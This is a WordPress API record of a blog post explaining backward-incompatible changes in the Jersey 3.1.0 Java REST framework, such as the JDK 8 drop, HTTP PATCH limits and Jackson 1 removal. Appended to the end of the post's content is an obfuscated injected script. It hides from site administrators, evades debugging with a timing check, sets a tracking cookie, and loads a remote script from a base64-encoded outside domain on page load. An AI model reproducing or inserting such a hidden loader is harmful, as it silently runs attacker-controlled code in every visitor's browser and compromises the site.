{"id":258,"date":"2022-07-22T17:35:54","date_gmt":"2022-07-22T17:35:54","guid":{"rendered":"http:\/\/blog.supol.cz\/?p=258"},"modified":"2026-01-21T15:19:30","modified_gmt":"2026-01-21T15:19:30","slug":"jersey-3-1-0-incompatibilities-and-changes","status":"publish","type":"post","link":"https:\/\/blog.supol.cz\/?p=258","title":{"rendered":"Jersey 3.1.0 &#8211; Incompatibilities and changes"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">This article discusses backward-incompatible changes in Jersey 3.1.0. While Jersey tries to minimize these incompatible changes, the changes are forced by the Platform Specification Project, API project, security reasons, or an unstoppable evolution.<\/p>\n\n\n\n<p class=\"has-text-align-left wp-block-paragraph\"><strong>Jersey 3.1.0 drops compatibility with JDK 8<\/strong>. <\/p>\n\n\n\n<p class=\"has-text-align-left wp-block-paragraph\">Jakarta <a href=\"https:\/\/eclipse-ee4j.github.io\/jakartaee-platform\/jakartaee10\/JakartaEE10ReleasePlan\">EE 10 defines a minimum JDK 11<\/a> runtime to be supported and many Jakarta EE 10 APIs and their implementations will drop JDK 8 support, too. Only Jersey 2.x will continue supporting JDK 8. The JDK version support in Jakarta EE was decided during a community vote, and many community members supported JDK 17 as a minimum JDK version. While it looks like a big jump forward, it is possible that JDK 17 will become the minimum supported JDK version in Jakarta EE 11, which should come next year.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The default HttpUrlConnector no longer supports HTTP Patch on JDK 16+<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The default <em><a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/11\/docs\/api\/java.base\/java\/net\/HttpURLConnection.html\" data-type=\"URL\" data-id=\"https:\/\/docs.oracle.com\/en\/java\/javase\/11\/docs\/api\/java.base\/java\/net\/HttpURLConnection.html\">HttpUrlConnection<\/a> <\/em>supports only HTTP 1.1 request methods. Other methods, such as <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc5789\" data-type=\"URL\" data-id=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc5789\">HTTP Patch<\/a>, are not supported by the HttpUrlConnection and Jersey overcomes the issue using reflection, if configured using the <a href=\"https:\/\/eclipse-ee4j.github.io\/jersey.github.io\/apidocs\/snapshot\/jersey\/org\/glassfish\/jersey\/client\/HttpUrlConnectorProvider.html#SET_METHOD_WORKAROUND\" data-type=\"URL\" data-id=\"https:\/\/eclipse-ee4j.github.io\/jersey.github.io\/apidocs\/snapshot\/jersey\/org\/glassfish\/jersey\/client\/HttpUrlConnectorProvider.html#SET_METHOD_WORKAROUND\"><em>SET_METHOD_WORKAROUND <\/em><\/a>property, for instance:<\/p>\n\n\n\n<pre class=\"wp-block-code\">\n\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:650px;\"><div class=\"text codecolorer\">client.property(HttpUrlConnectorProvider.SET_METHOD_WORKAROUND, true)<\/div><\/div>\n\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Starting with JDK 16, reflection on JDK internal classes is not allowed, and HTTP Patch can no longer be used with the default HttpUrlConnector. This applies to Jersey 2.x, 3.0.x, too, but it is worth mentioning it here.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">One solution is to use any other <a href=\"https:\/\/eclipse-ee4j.github.io\/jersey.github.io\/documentation\/latest3x\/client.html#d0e4735\" data-type=\"URL\" data-id=\"https:\/\/eclipse-ee4j.github.io\/jersey.github.io\/documentation\/latest3x\/client.html#d0e4735\">Jersey connector<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Another solution is to use the X-HTTP-Method-Override HTTP header.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Please be aware of possible exploits.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>The uncaught exception is never propagated to the underlying I\/O container.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jakarta REST 3.1 defines a new requirement for a default <a href=\"https:\/\/jakarta.ee\/specifications\/restful-ws\/3.1\/apidocs\/jakarta.ws.rs\/jakarta\/ws\/rs\/ext\/exceptionmapper\" data-type=\"URL\" data-id=\"https:\/\/jakarta.ee\/specifications\/restful-ws\/3.1\/apidocs\/jakarta.ws.rs\/jakarta\/ws\/rs\/ext\/exceptionmapper\">ExceptionMapper&lt;Object&gt;<\/a> so that the Exception is never propagated to the Servlet Container or any other container Jersey integrates with. This is important for frameworks integrating Jersey. The exception is still logged, and users will see the exception in the (server) log as they are used to.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>No Jackson 1 support.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jackson 1 support is dropped in Jersey 3.1.0. Jackson 1 is unmaintained for some time, and Jackson 2 is recommended to be used.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>GitHub repository change<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The historical Jersey (pre-Eclipse) repository was moved from <em>https:\/\/github.com\/jersey\/jersey<\/em> to <em>https:\/\/github.com\/javaee\/jersey<\/em> and the repository is read-only.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The current repository is located at <em>https:\/\/github.com\/eclipse-ee4j\/jersey<\/em>. However, since all projects are asked to move from <em>eclipse-ee4j<\/em> GitHub organization to <em>jakartaee<\/em> GitHub organization, the current repository URL can change in the future. Similarly, the Jakarta REST API GitHub repository moved from <em>https:\/\/github.com\/eclipse-ee4j\/jaxrs-api<\/em> to <em>https:\/\/github.com\/jakartaee\/rest<\/em>. Fortunately, the redirect works well.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Jersey GitHub master branch will no longer contain Jersey 2.x.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The repository uses several branches, <em>master<\/em> is used for 2.x, 3.x is used for 3.0.x, branch 3.1 is used for 3.1.x releases. The current plan is to use <em>master<\/em> for the latest development, similar to other projects.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Documentation URL<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The original Jersey documentation has been accessible from <em>https:<\/em>\/\/<em>jersey.github.io<\/em>. The URL still provides a redirect to the current <em>https:\/\/eclipse-ee4j.github.io\/jersey\/<\/em> documentation website. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">While Jersey 2.x used URI <em>https:\/\/eclipse-ee4j.github.io\/jersey.github.io\/documentation\/latest\/index.html<\/em>, Jersey 3.0.x uses <em>https:\/\/eclipse-ee4j.github.io\/jersey.github.io\/documentation\/latest3x\/index.html<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This possibly changes two ways. First, the<em> https:\/\/eclipse-ee4j.github.io<\/em> prefix will change because of the GitHub repository change discussed above. Second, the <em>latest\/index.html<\/em> will be used for the documentation of the highest Jersey version. Jersey 2.x documentation will be in <em>latest2x\/index.html<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Changes in processing JAX-RS code<\/strong> by Jersey<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Since Jersey 3.1.0, <em>ClientRequest#getRequestHeader(String)<\/em> returns <em>null<\/em> instead of an empty list in case the specified header does not exist. This change is a reflection of the Jakarta REST requirement coming with the new Specification.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Another change comes with a resource method returning CompletionStage, for instance<\/p>\n\n\n\n<pre class=\"wp-block-code\">\n\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:650px;\"><div class=\"text codecolorer\">@GET<br \/>\npublic CompletionStage&lt;List&lt;String&gt;&gt; getMethod() {...}<\/div><\/div>\n\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In Jersey 2.x, the message body provider receives entity type <em>CompletionStage&lt;List&lt;String&gt;&gt;<\/em>, which is not properly handled by most entity providers. The property <em>ServerProperties.<a href=\"https:\/\/eclipse-ee4j.github.io\/jersey.github.io\/apidocs\/latest\/jersey\/org\/glassfish\/jersey\/server\/ServerProperties.html#UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE\">UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE<\/a><\/em> set to <em>true <\/em>ensures <em>List&lt;String&gt;<\/em> is passed to the message body provider. In Jersey 2.x, it is kept like this for backward compatibility with older Jersey versions. Jersey 3.1.0 sets the default value of this property to <em>true<\/em>, and the <em>List&lt;String&gt;<\/em> is passed to providers by default, as would be expected.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Deprecated Application#getSingletons()<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jakarta REST 3.1 deprecates <em>Application#getSingletons()<\/em> which can cause warnings with the older applications.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Summary<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There are minor incompatibility changes coming with the Jersey 3.1.0 release. But we believe the changes impact the Jersey customers only by a minimum. As always, if you have any concerns, let us know on our <a href=\"https:\/\/github.com\/eclipse-ee4j\/jersey\/issues\">issue tracker<\/a>.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>This article discusses backward-incompatible changes in Jersey 3.1.0. While Jersey tries to minimize these incompatible changes, the changes are forced by the Platform Specification Project, API project, security reasons, or an unstoppable evolution. Jersey 3.1.0 drops compatibility with JDK 8. &hellip; <a href=\"https:\/\/blog.supol.cz\/?p=258\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-258","post","type-post","status-publish","format-standard","hentry","category-jersey"],"_links":{"self":[{"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/posts\/258","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=258"}],"version-history":[{"count":4,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/posts\/258\/revisions"}],"predecessor-version":[{"id":5256,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/posts\/258\/revisions\/5256"}],"wp:attachment":[{"href":"https:\/\/blog.supol.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=258"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=258"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=258"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}